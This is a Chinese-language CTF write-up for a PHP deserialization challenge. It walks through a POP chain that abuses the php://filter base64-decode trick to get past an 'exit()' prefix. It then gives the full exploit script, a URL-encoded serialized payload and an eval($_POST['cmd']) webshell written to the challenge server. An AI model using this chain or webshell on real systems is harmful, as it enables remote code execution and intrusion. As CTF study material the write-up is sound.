源码:
<?php
error_reporting(0);
class A{
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null)
{
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents)
{
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage()
{
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save()
{
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct()
{
if (! $this->autosave) {
$this->save();
}
}
}
class B{
protected function getExpireTime($expire): int
{
return (int) $expire;
}
public function getCacheKey(string $name): string
{
return $this->options['prefix'] . $name;
}
protected function serialize($data): string
{
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool
{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
首先确定应该是反序列化,考虑一下利用链的构造。
看一下代码,大概能确认总体思路:
A类
的__destruct()
调用A类
的save()
通过构造A
的$store
为B
对象,从而在A类
的save()
中调用B类
的set
在B类
的set
中最终完成shell
的写入
接下来详细看一下各参数。
先从B类开始吧。
prefix
用于文件名的构造。
...
public function getCacheKey(string $name): string
{
return $this->options['prefix'] . $name;
}
...
$filename = $this->getCacheKey($name);
因为在后面写入文件的时候,前面拼接了一段别的php代码
"<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n"
而且这段代码会导致即便我们在后面拼接上shell
也无法正常执行。
这里经@张师傅提醒知道有道原题叫死亡退出,并且file_put_contents
是支持php伪协议
的,所以我们可以通过php://filter/write=convert.base64-decode/
来将
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
这段代码中的$data
全部用base64解码
转化过后再写入文件中,其中前面拼接部分会被强制解码,从而变成一堆乱码。而我们写入的shell
(base64编码过的
)会解码成正常的木马文件。
这里唯一需要注意的是长度问题,我们需要shell
部分<?php phpinfo()?>
前面加起来的字节数为4
的倍数(base64解码
时不影响shell
部分)。
所以$b->options['prefix']='php://filter/write=convert.base64-decode/resource=./uploads/'
;已经可以确定了。
然后是控制写入的内容。
我们先确定$data
是怎么生成的。
从最终写入文件,先看到的是
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
这里<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n
长度为32
,所以不用注意:
...
protected function serialize($data): string
{
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
#print strval($data);#[{"whatever":{"filename":"test"}},"333"]
return $serialize($data);
}
...
$data = $this->serialize($value);
只要不影响原值,哪个函数都行。这里我选择用的是strval
,用strip_tags
当然也是可以的。$b->options['serialize']='strval'
。
再看看A类:
public function cleanContents(array $contents)
{
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage()
{
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save()
{
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
可以发现关键是$a->catch
的构造。在cleanContents()
中,array_intersect_key()
是比较两个数组的键名,并返回交集。所以我们$object
的键选$cachedProperties
中任意一个都行,这里选择path
。值就是我们的shell
的base64编码
,
JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9HRVQlNUIlMjd6eiUyNyU1RCUyOSUzQiUzRiUzRQ==
。
所以
$object = array("path"=>"JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9HRVQlNUIlMjd6eiUyNyU1RCUyOSUzQiUzRiUzRQ==");
如果我们设值$path='1',$complete='2'
,则最后得到的$contents
会是
[{"1":{"path":"JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9HRVQlNUIlMjd6eiUyNyU1RCUyOSUzQiUzRiUzRQ=="}},"2"]
其中$complete='2'
因为在shell
后面,所以并不影响解码。在本地试了试,发现$path='111'
时,可以正常解码shell。这样的话,$data
已经设置完毕。
别的就是一些判断条件的参数,最终的exp如下:
<?php
class A{
protected $store;
protected $key;
protected $expire;
public function __construct()
{
$this->key = 'pz.php';
}
public function start($tmp){
$this->store = $tmp;
}
}
class B{
public $options;
}
$a = new A();
$b = new B();
$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=";
$b->options['expire'] = 11;
$b->options['data_compress'] = false;
$b->options['serialize'] = 'strval';
$a->start($b);
$object = array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg");
$path = '111';
$a->cache = array($path=>$object);
$a->complete = '2';
echo urlencode(serialize($a));
?>
这里
PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg
为<?php eval($_POST['cmd']);?
运行后data值为:
O%3A1%3A%22A%22%3A5%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A4%3A%7Bs%3A6%3A%22prefix%22%3Bs%3A50%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3D%22%3Bs%3A6%3A%22expire%22%3Bi%3A11%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3Bs%3A9%3A%22serialize%22%3Bs%3A6%3A%22strval%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A6%3A%22pz.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A5%3A%22cache%22%3Ba%3A1%3A%7Bi%3A111%3Ba%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A38%3A%22PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs%2FPg%22%3B%7D%7Ds%3A8%3A%22complete%22%3Bs%3A1%3A%222%22%3B%7D
然后上传webshell
http://6e9d7a0c-fa7b-475c-ae6c-62841e193917.node3.buuoj.cn/?src=&data=O%3A1%3A%22A%22%3A5%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A4%3A%7Bs%3A6%3A%22prefix%22%3Bs%3A50%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3D%22%3Bs%3A6%3A%22expire%22%3Bi%3A11%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3Bs%3A9%3A%22serialize%22%3Bs%3A6%3A%22strval%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A6%3A%22pz.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A5%3A%22cache%22%3Ba%3A1%3A%7Bi%3A111%3Ba%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A38%3A%22PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs%2FPg%22%3B%7D%7Ds%3A8%3A%22complete%22%3Bs%3A1%3A%222%22%3B%7D
这里看到一句话已经上传成功了。
也可以命令执行了
flag到手。